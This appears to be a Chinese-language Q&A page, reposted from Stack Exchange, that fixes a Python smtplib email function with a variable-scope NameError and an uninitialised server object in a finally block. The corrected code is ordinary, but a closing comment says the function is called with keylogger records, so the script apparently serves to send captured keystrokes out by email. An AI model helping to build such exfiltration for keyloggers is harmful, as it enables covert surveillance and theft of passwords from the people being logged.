You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python邮件发送代码报错求助:smtp_server未定义与NameError问题

错误原因分析及修复方案

1. 变量作用域错误

你把smtp_server、port、sender_email等核心变量都定义在sendEmail函数内部,但外部的try-except-finally代码块无法访问函数内的局部变量,这直接导致了name 'smtp_server' is not defined的报错。

2. 未初始化变量引发的finally报错

如果try块中创建server实例的代码执行失败(比如SMTP连接失败),server变量根本不会被定义,此时finally块调用server.quit()就会触发NameError。

修复后的完整代码

from smtpd import SMTPServer
import smtplib, ssl

def sendEmail(message):
    smtp_server = "smtp.gmail.com"
    port = 465
    sender_email = "fakemail@gmail.com"
    password = "password"
    receiver_email = "fakemail@gmail.com"

    context = ssl.create_default_context()
    server = None  # 提前初始化server变量,避免finally报错
    try:
        # 465是SSL专属端口,直接用SMTP_SSL无需starttls
        server = smtplib.SMTP_SSL(smtp_server, port, context=context)
        server.login(sender_email, password)
        server.sendmail(sender_email, receiver_email, message)
    except Exception as e:
        print(e)
    finally:
        if server is not None:
            server.quit()

# 调用时传入键盘记录内容
# sendEmail("这里填入你的键盘记录信息")

额外提示

  • Gmail的SMTP服务需要开启「低安全性应用访问」,或在开启两步验证后使用应用专用密码,否则会登录失败。
  • 若使用587端口,才需要调用starttls(),此时初始化代码改为server = smtplib.SMTP(smtp_server, port)再执行starttls。

内容的提问来源于stack exchange,提问作者Dhruv Sahgal

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.10 03:20:25